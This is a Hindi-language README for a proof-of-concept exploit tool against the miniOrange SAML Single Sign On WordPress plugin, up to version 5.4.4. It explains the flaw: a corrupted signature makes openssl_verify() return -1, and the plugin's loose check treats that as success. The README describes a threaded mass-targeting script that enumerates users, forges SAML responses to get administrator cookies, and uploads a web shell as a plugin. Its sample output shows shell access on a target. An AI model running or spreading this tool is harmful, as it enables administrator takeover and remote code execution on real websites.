
SAML सिंगल साइन ऑन <= 5.4.4 - अनऑथेंटिकेटेड प्रमाणीकरण बायपास SAMLResponse पैरामीटर के माध्यम से
SAML Single Sign On <= 5.4.4 - बिना प्रमाणीकरण के SAMLResponse पैरामीटर के माध्यम से प्रमाणीकरण बाईपास
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट
दूषित हस्ताक्षर → openssl_verify() लौटाता है -1 → PHP ढीला कास्ट true → wp_set_auth_cookie() व्यवस्थापक के रूप में
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-15981 |
| प्रभावित प्लगइन | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| प्रभावित संस्करण | सभी संस्करण 5.4.4 तक और इसमें शामिल |
| प्रकार | बिना प्रमाणीकरण के प्रमाणीकरण बाईपास |
| CWE | CWE-287: अनुचित प्रमाणीकरण / CWE-305: प्राथमिक कमजोरी द्वारा प्रमाणीकरण बाईपास |
| CVSS 3.1 | 9.8 क्रिटिकल — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रमाणीकरण | कोई आवश्यक नहीं |
WordPress के लिए SAML Single Sign On – SSO Login प्लगइन सभी संस्करणों में 5.4.4 तक और इसमें शामिल, प्रमाणीकरण बाईपास के लिए असुरक्षित है। इसका कारण mo_saml_validate_signature() फ़ंक्शन PHP के openssl_verify() द्वारा लौटाए गए कच्चे ट्राई-स्टेट पूर्णांक पर ढीला बूलियन जाँच करना है, जिससे त्रुटि वापसी मान -1 को सत्य माना जाता है और इसलिए सफल हस्ताक्षर सत्यापन के रूप में व्यवहार किया जाता है।
यह बिना प्रमाणीकृत हमलावरों के लिए किसी भी मौजूदा WordPress उपयोगकर्ता, व्यवस्थापकों सहित, के रूप में लॉग इन करना संभव बनाता है, एक निर्मित SAMLResponse प्रस्तुत करके जिसमें हमलावर-नियंत्रित NameID और एक जानबूझकर दूषित हस्ताक्षर मान होता है जो OpenSSL प्रसंस्करण त्रुटि को ट्रिगर करता है — सत्यापन को पूरी तरह से बाईपास करता है और लक्षित खाते के लिए wp_set_auth_cookie() को कॉल किया जाता है।
हमलावर निर्मित SAMLResponse भेजता है
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ लौटाता है 1 → वैध हस्ताक्षर ✓
├─ लौटाता है 0 → अमान्य हस्ताक्षर ✗
└─ लौटाता है -1 → OpenSSL आंतरिक त्रुटि
│
▼
PHP ढीली तुलना: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← बग: त्रुटि को सफलता माना गया
│
▼
wp_set_auth_cookie() कॉल किया गया
│
▼
हमलावर अब व्यवस्थापक है
फिक्स तुच्छ है — if ($result === 1) के बजाय if ($result) — लेकिन दोष का प्रभाव पूर्ण प्रमाणीकरण बाईपास है।
?option=mosaml_metadata से Entity ID और ACS URL निकालता है/wp-json/wp/v2/users)/?author=N)?option=saml_user_login रीडायरेक्ट का अनुसरण करता है और IdP बेस URL निकालता हैlxml के माध्यम से उचित Exclusive C14N कैनोनिकलाइज़ेशन</Issuer> के बाद हस्ताक्षर तत्व इंजेक्शनopenssl_verify() = -1 को ट्रिगर करने के लिए डिज़ाइन किए गए 12+ दूषित हस्ताक्षर पेलोडwordpress_logged_in_* कुकी की जाँच करता है/wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php तक पहुँच सत्यापित करता है/wp-admin/profile.php से उपयोगकर्ता नाम और ईमेल पढ़ता हैplugin-install.php के माध्यम से प्लगइन ZIP अपलोड/wp-json/wp/v2/plugins के माध्यम से REST API प्लगइन अपलोडNx-zD हस्ताक्षर की पुष्टि करता हैPython >= 3.8
pip install requests lxml
lxmlSAML Assertion के उचित Exclusive C14N कैनोनिकलाइज़ेशन के लिए आवश्यक है।
python CVE-2026-15981.py
आपसे निम्नलिखित के लिए संकेत दिया जाएगा:
| संकेत | विवरण | डिफ़ॉल्ट |
|---|---|---|
| लक्ष्य फ़ाइल | एक टेक्स्ट फ़ाइल का पथ जिसमें प्रति पंक्ति एक लक्ष्य हो | list.txt |
| थ्रेड्स | समवर्ती कार्यकर्ताओं की संख्या (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
प्रति पंक्ति एक URL. यदि कोई योजना निर्दिष्ट नहीं है तो HTTP डिफ़ॉल्ट रूप से उपयोग किया जाता है।
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
प्रत्येक लक्ष्य 7 लेबल वाले चरणों के माध्यम से आगे बढ़ता है:
============================================================
target.com
============================================================
[1] WordPress
पुष्टि हुई
[2] SAML प्लगइन
संस्करण: 5.4.4
miniOrange SAML मिला
[3] SP मेटाडेटा
मेटाडेटा entityID: https://target.com/...
मेटाडेटा ACS: https://target.com/
[4] उपयोगकर्ता
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 मिले: ['admin', 'editor', 'johndoe', 'target']
[5] जारीकर्ता
SSO रीडायरेक्ट मिला
3 उम्मीदवार
[6] एक्सप्लॉइट
कुकी! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin पहुँच योग्य
user=admin [email protected]
users.php -> Admin
[7] शेल अपलोड
M1: प्लगइन अपलोड हुआ
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| व्यवस्थापक सत्र पुष्ट हुआ |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+